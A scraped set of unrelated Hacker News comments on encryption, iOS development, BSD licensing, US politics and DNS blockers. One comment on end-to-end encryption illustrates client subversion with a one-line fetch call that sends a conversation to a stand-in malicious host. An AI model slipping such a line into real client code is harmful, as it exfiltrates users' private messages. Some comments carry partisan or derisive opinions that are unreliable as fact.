skysight-inc/HackerNews huggingface dataset:
From their docs [1] it seems that they support a workflow similar to Terraform.

[1]: https://atlasgo.io/declarative/apply
Just the tip of the huge iceberg.

https://www.crossref.org/

Crossref works with over 19,000 members from 151 countries including institutions, funders, publishers, preprint servers, libraries, and more, collecting metadata on research objects and making it openly available via an API that sees over 1.1 billion queries each month.

https://retractionwatch.com/

The Center For Scientific Integrity – the parent non-profit of Retraction Watch – and containing about 43,000 retractions. Crossref works with over 19,000 members from 151 countries including institutions, funders, publishers, preprint servers, libraries, and more, collecting metadata on research objects and making it openly available via an API that sees over 1.1 billion queries each month.

The slow cleaning up of "the science" and hopefully a return to proper science

https://blogs.lse.ac.uk/impactofsocialsciences/2023/09/27/ma...
I think they mean SwiftUI.
One thing I'm realizing more and more (I've been building an encrypted AI chat service which is powered by encrypted CRDTs) is that "E2E encryption" really requires the client to be built and verified by the end user. I mean end of the day you can put a one-line fetch/analytics-tracker/etc on the rendering side and everything your protocol claimed to do becomes useless. That even goes further to the OS that the rendering is done on.

The last bit adds an interesting facet, even if you manage to open source the client and manage to make it verifiably buildable by the user, you still need to distribute it on the iOS store. Anything can happen in the publish process. I use iOS as the example because its particularly tricky to load your own build of an application.

And then if you did that, you still need to do it all on the other side of the chat too, assuming its a multi party chat.

You can have every cute protocol known to man, best encryption algorithms on the wire, etc but end of the day its all trust.

I mention this because these days I worry more that using something like signal actually makes you a target for snooping under the false guise that you are in a totally secure environment. If I were a government agency with intent to snoop I'd focus my resources on Signal users, they have the most to hide.

Sometimes it all feels pointless (besides encrypted storage).

I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?
Fortunately you don’t have to click the link or comment! Hope this helps
This is less a pro-FreeBSD in embedded systems article and more of an anti-GPL in embedded systems piece.

If that’s not what you’re here for, then saved you a click.
I am wondering exactly the same.
Maybe the standby costs? The chip needs to always have power to be able to receive the radio waves, it uses less power in that way but still quite a bit, I guess.

The surprise is how much power that is. It's either that or misleading marketing.
I know Apple struggled to make this modem, so maybe it's still not great when it comes to standby power consumption.
Since it's Apple we will only know after quite a bit of independent testing...
I disagree with Steven Pinker’s claim that consciousness arises from the brain.

This perspective fails to establish that the brain produces consciousness, as it relies on the mistaken assumption that "mind" and "consciousness" are interchangeable. While brain activity may influence the mind, consciousness itself could be a more fundamental aspect of reality. Rather than generating consciousness, the brain might function like a radio, merely receiving and processing information from an all-pervasive field of consciousness.

In this view, a split-brain condition would not create two separate consciousnesses but instead allow access to two distinct streams of an already-existing, universal consciousness.
> For example, there is an xcodebuild command you can run, but it often doesn't work with table stakes features like incremental builds

I don't think this is true, either.
IVF insurance startup Future Family promises a baby or your money back
I can't argue that you have more agency in a personal vehicle. Agency and safety are not directly correlated, though: in fact, I'd argue that for transportation, they're often inversely related.
Python does the super weird thing that puts methods on the wrong object
If you do this, your garbage collector will hate you.

Or, at least it will decide your data structure is garbage.
Ok, so how would those checks and balances work if the president refuses to obey the courts? Who's going to enforce those court orders? I suppose you could say that the congress could impeach - but what if the majority of the House sides with the president? And if the House does manage to pass impeachment, it still takes 2/3 of Senators to convict - as we've seen that's a very high bar and very unlikely to happen. But let's continue the thought experiment and say that the Senate votes to convict - who's going to enforce the conviction and kick the President out of office?
I prefer not to play a game that requires assuming anyone's gender or age

But its a cute idea
A few years ago I actually came to the opinion that the IC was an inferior officer, but I forget why. Don’t get old.
I don't know why, but I vibe-coded AI Subway Poker https://x.com/stas_kulesh/status/1892328616609841290
Exactly... isn't this post "transphobic" and "bigoted" according to woke-ass Hacker News??

According to what everyone here believes, you'd have to walk up to every person and ask their "gender identity".

Funny how suddenly everyone snaps out of it and knows what a woman is when they don't have an opportunity to attack women's rights.
Cool, then that must mean it exists for Java aswell, must find it!
It saves a lot of time. You don't need it to generate whole app - just do some tedious bits.

It's basically electric screwdriver. You can open & close your laptop with old piece of iron. It even won't be worse in terms of quality, but if you want to fix 20 of them in a day it doesn't make sense.
yes but if the executive just pretends there is no issue does it matter

part of the supreme court hasn't exactly been known to defend the constitution in word and spirit but find excuses to reinterpret it

and worse by giving themself the right to authoritative misinterpreted law they can prevent any such cases ever appearing in front of the supreme court and/or very effectively blackmail people into not making or dismissing cases

and Trump abusing power to blackmail people to get changes in of court related proceeding (to ironically black mail someone else to force them to fall in line or a court case against them gets reopend/not dismissed) did already happen, openly in public just a few days ago
and the music! I remember saving snippets of the music that were posted online well before the soundtrack was available (and taping some of the background music). Great stuff, capitalizing on the San Francisco music scene. Great wikipedia page on it now (https://en.wikipedia.org/wiki/Music_of_Grim_Fandango)
Related: You Are Two by GCP Grey: <https://www.youtube.com/watch?v=wfYbgdo8e-8>
Douglas Crockford himself recommended using comments if you like then piping it through JSMin. Unfortunately the original post on Google+ no longer exists but it's referenced in a HN thread[0].

I removed comments from JSON because I saw people were using them to hold parsing directives, a practice which would have
destroyed interoperability. I know that the lack of comments makes some people sad, but it shouldn’t.

Suppose you are using JSON to keep configuration files, which you would like to annotate. Go ahead and insert all
the comments you like. Then pipe it through JSMin before handing it to your JSON parser.

Which of course doesn't help because you could still just add parsing directives into the comments anyway. But as far as I'm concerned that means the spec implicitly allows comments as long as they're stripped out in transport.

[0]https://news.ycombinator.com/item?id=3912149
Presumably at the time they've given you their phone number, they've told you that they are on WhatsApp, and then you've responded directly that you're only on Signal.

If there is a communications channel by which they can give you their phone number, you can use that same channel to discuss what messenger to use.
On-Call for mission of this size sounds fairly unlikely, doesn't it?

You wouldn't spend hundreds of thousands of dollars on large scale attacks with lots of (temporary) infrastructure and planning to then yolo it at the last minute and hope that everything goes well and you have the results back when you come back on Monday.
I clicked thru to read what is it about FreeBSD that makes it better for embedded systems programming. What I got was a rant against the GPL. That tells me nothing to why I should use FreeBSD for my next project.

The BSD vs. GPL "war" has been going on for over 30 years now. There's nothing new to see here.
I have two (personal and work); browsing websites is fine in a pinch, but it's not nearly as fast as the iPhone 16 Pro that's in my drawer right now and I run into more Safari crashes than before. (I blame the modern web for that, not the phone.)
Upon impeaching the President, the VP would become President, and he would order the military to remove the ex-President. At that point the military would have to decide if it's more loyal to Congress or the ex-President.
No.

It is just an explicit rendition of a complex topic.

Do you have a more economical example that handles all of the corner cases of cleanup routines throwing errors?
If you need to apply a setting like that to a single application only, there are ways to create a program that will detour all the registry reads.
1) To the extent to which you can't ask them to change their CGNAT setup, you also can't "just" ask them to upgrade to IPv6.

2) In fact you at least can ask them to change their CGNAT setup, as they at least could, if they chose, unilaterally fix their CGNAT setup, while--even if you also felt it possible to ask them to upgrade to IPv6--upgrading to IPv6 as the solution requires the rest of the world to upgrade as well.

The real question is then: which is solution to your problem is easier and cheaper to obtain, and the answer is clearly not "upgrade the world to IPv6". "I couldn't convince my ISP to fix their CGNAT setup, so I'd rather convince them--and everyone else--to upgrade to IPv6" makes no sense as a coping mechanism.
IntelliJ got pretty good support for postgres language already. What else would this bring?
Ahh, so they do! Their quick start link took me to their "versioned" workflow which is...basically the same thing any of a dozen tools has done for decades. Strange landing page choice to funnel into your market equivalence rather than differentiator.
I came to a similar conclusion. I love tinkering and messing with stuff. Those in my household also enjoy (tolerate) my tinkering. What they don't enjoy is when that tinkering impacts them and is unreliable. The amount of time I spent on a monthly basis keeping PiHole working (through updates, list updates, and the random "PiHole just stopped resolving all requests" was laid bare when I paid $19… and didn't ever have to touch it again. The bonus is that I can access it on every device I own, anywhere in the world. I appreciate PiHole and I know there are use-cases for it; I just couldn't go back after trying NextDNS.
They have no qubits at all, "logical" or not. yet. They plan to make millions. It is substantially easier to release a plan for millions of qubits than it is to make even one.
But today's problem is a different one. American countries have outsourced their production and therefore the supply chains and even the skills needed to perform the work, have dissipated over the past decades. Bringing that back onshore is a herculean effort that some relatively minor tariffs will not fix. For that you would need sustained subsidies and much more aggressive protectionism than 25% tariffs. And a lot of American companies who can't make the switch would go out of business, not to mention the high prices in the meantime when you're supposed to be "lowering prices".

Even if I was pro-Trump, I can't see this strategy working economically. And I don't think Trump does either. But it is an effective populist mantra (like Mexico paying for the wall) and the threat of tariffs can be a useful cudgel to get other countries to do your bidding--unless those countries are willing to call your bluff, which you can be sure China will (which makes them not so useful; China is willing to endure much more pain than the US, is much more willing to play the long game, and doesn't have to worry about the votes of its citizens).
> I can't understand anything if more than one person is talking at the same volume. Maybe that's just normal and I'm bad at lip reading, though.

I want to say it's normal, but it's also known as sensory or auditory processing disorder and it's not uncommon in neurodiverse people. Learning some lip reading or just observing someone's mouth movements helps me in those situations, but it's far from ideal.
> setting up the president as the sole power center is an inherently unstable system

Only if there is a transition of power. If power stays in the same hands, the system can be very stable - and not in a good way.
So who then gets to decide the threshold of time that qualifies?
> Unfortunately USA is not a superpower anymore and their word means nothing.

I wish this were true, and while Mr. Trump has dedicated himself to ripping up the world order, the US still has way too many nukes to not treat as a substantial power.

If the US isn't a superpower, I'm not sure there are any superpowers left.
No self respecting iOS developer would pick React Native over SwiftUI.
Given how US is attacking their enemies and at times their allies,
24/7 it is amazing how little we ever hear about it.
Okay nice but what if queen identifies as king?
Who is actually behind all these executive orders?

Do they all originate by the President saying "I want X" in reaction to something, and lawyers figuring out how to do X?

Do some of them originate with a wishlist of some extremist think tank or powerful people, and they finally found a President who'll rubberstamp them?

Other?
How would you convert an autocracy into a democracy without secrecy? There are no peaceful means so you have to plot.
I just learned about ControlD today and It seems their $2/mo per endpoint is pretty pricey. Do you just set it on your home router and that's it? I use my NextDNS with many different profiles and many unique devices. Are the ControlD features that much better?

Edit: I totally missed they have a Personal tab at the top that has different pricing. It is still more expensive for their full control plan.
1.8 MB standalone executable! That's cool to see in an era of huge apps.
If you didn't have a dog in this fight you'd concede the constitution is silent on the topic of presidential firings, since that is a simple fact.

I'll thank you for providing the direct quote which highlights the gap between the talking point and the actual text itself.
For myself I’ve been running pihole on an RPi3 for 7 years and have never had one single issue with it at all. Maybe I’m just lucky I dunno. I’m always surprised when I hear people have issues with it.
Mike Corley is a name some ancient Brits might remember. I just checked and his website's gone. I hope he's ok - he'd be pretty old by now.
Refurbs are out there. I got two a few months ago. Battery health on both is around 85% though.
ITER is as big as it is because it would not achieve the targeted Q with the given magnet technology if it were smaller. This has nothing to do with capturing energy.
"Just about 100% of gasoline car owners don’t fill up at home."

because most people don't have cheap gasoline piped to their houses. Charging a EV at home is much cheaper than gas BUT charging and EV exclusively at commercial charge points is very expensive, almost as expensive as gasoline.
Fun fact, that is already illegal. Perverted justice was an entirely civilian organization.

reading some of the criticisms of their former behavior does highlight pretty strongly why exactly that kinda thing is problematic.
> MSFT need money to keep investing in this sort of science

Microsoft is making absurd amounts of money from Azure and Office (Microsoft 365) subscriptions. Any quantum computing investment is a drop in the bucket for this company.
I don't find the money inexplicable at all. Building multi-billion dollar data centers increases wealth for billionaires but paying overtime would benefit a middle-class pleb.
> What if they didn't buy it on a credit card?

Then they have fewer options.
It's not.

However, the fact that integrating these tools with any sort of Apple toolchain is a nightmare is still a problem. Because even if you don't care about AI slop coding, there's plenty of other things that developers are used to that become far more difficult when the only option[0] is proprietary dev tools with very strict hardware licensing requirements attached to it. This puts a very real cost on iOS development.

The only reason why developers put up with iOS now is because it has half the US mobile market, so brown-nosing Apple is mandatory for certain app classes. This doesn't make the cost go away, it just means it gets spread around[1], like how everyone has to pay credit card fees or mobile storefront fees even when they're paying with cash or buying straight from the developer. But when that market power isn't there, such as on macOS[2] or visionOS (lol), developers just straight-up don't bother supporting the platform because Apple is disrespectful to developers.

[0] I am aware of that one non-Apple iOS toolchain, it still requires you grab the SDK files yourself off a Real Mac™ which is a pain in the ass and not going to pass a corporate compliance department's muster.

[1] The exact mechanism that forces cost-sharing is called a most favored nation agreement. You are required to offer the best pricing to people paying your junk fee and cannot discount around the fee.

[2] People often blame Metal for macOS gaming being terrible. This is missing the point. iOS has the same core technology requirement; so all the middleware has to support Metal anyway. But if you don't need to be on mobile, you don't need to support any Apple platforms, which is preferable.
KFC Is Leaving Kentucky
Do you mean they sided with the incorrect common wisdom all the people in the article were using?
Running Microsoft's first product on the Altair 8800, from paper tape [video]
The fine coating of solder dust on my workbench suggests that you are wrong.
You could edit replace FreeBSD with NetBSD or OpenBSD and deliver a comparable message.

I prefer NetBSD because it runs on more hardware.

Other than the GPL issue, the many variants of BSD are tuned to specific requirements, e.g. OpenBSD for greater emphasis on security out of the box, Dragonfly BSD for multiprocessor systems.

The Wikipedia page: https://en.wikipedia.org/wiki/Comparison_of_BSD_operating_sy... provides a good overview of the numerous options.
>I have to imagine that when they term was coined in the 1700s, they avoided using "free markets" because they didn't have a problem with free markets. They aimed to criticize capitalists specifically since it was capitalists and not free markets that we're causing the problems.

While they targeted the 'capitalists' they had an agenda to push: socialism. Free market in itself cannot be an agenda, it's too vague and simple.

I suspect they did have a problem with free markets, though it was never explicitly stated: A true free market causes enormous differences in wealth. (though everyone is better off). A difference in wealth is a big social motivator for resentment regardless of how well off the bottom most rung of society is.

Also notice the comment I responded to - the poster used the term 'capitalism/free markets' - so the poster knew exactly the connotation of capitalism ( i.e of free market).
RMS is when you start using GNU/Linux and GNU Emacs. Then your left pinky falls off.

RSI is related but more general stress injuries, that can happen anywhere.
For those unfamiliar -- the quote is from Andrew Jackson, and his stance on the court's invalidation of the US state of Georgia's policies that led to the Trail of Tears.

Not a positive model to emulate.

AFAIK the only other time this has been done was during the US civil war.
> According to Evan Bacon, one of the developers leading the Expo project, 40 of the top 100 iOS apps are now non-native. And with the proliferation of AI app builders, the future is starting to look even more non-native.

The linked tweet (https://x.com/Baconbrix/status/1888633966938276267) is only about shopping apps.
The Venn diagram of what the device needs vs what a cell phone has is so close, and the scale cell phones are made brings down their price so much, that a dedicated device would be more expensive, worse and more difficult to get.
If the Supreme Court rules against the Executive, they might order an agency to comply with a ruling or - barring that - hold an agency head in contempt. Under this EO, the agency wouldn't comply, since the agency would assume Trump's read of the law is correct - superceding even the Court's. If they tried to enforce a contempt order, the US Marshals would not comply either. Soldiers that swear allegiance to the Constitution would also have to defer to the President, even if the Supreme Court ordered the military not to obey an unconstitutional order.

The problem is the EO commands absolute subservience to the President's view of the Constitution, which makes it impossible for them to comply with Court orders.
The funny thing is that all of the centralization in Bluesky is defended as being necessary to provide things like global search and all replies in a thread, things that Mastodon simply punts on in the name of decentralization. But then ultimately, Bluesky has to relax those goals after all.
They are trying to supercede the oath to the the constitution that people in the executive take, and also to supercede the authority of the other branches.

It's as simple as that.
No worries! But I am definitely interested in chatting still - that you've tried it in multiple ways, ran into pain points, and overcame those in your own ways is super interesting and valuable.
Playing around is how everyone starts and this "agents with tool use in prod" game is still very new. These APIs should work well and make sense for folks who are just getting into it as well folks who have been around the block.
If you change your mind let me know! Would love to chat
EU mandate for removable batteries will restore lost flexibility.

Even repair/replace is improving, with new aftermarket storage upgrades for Macbooks.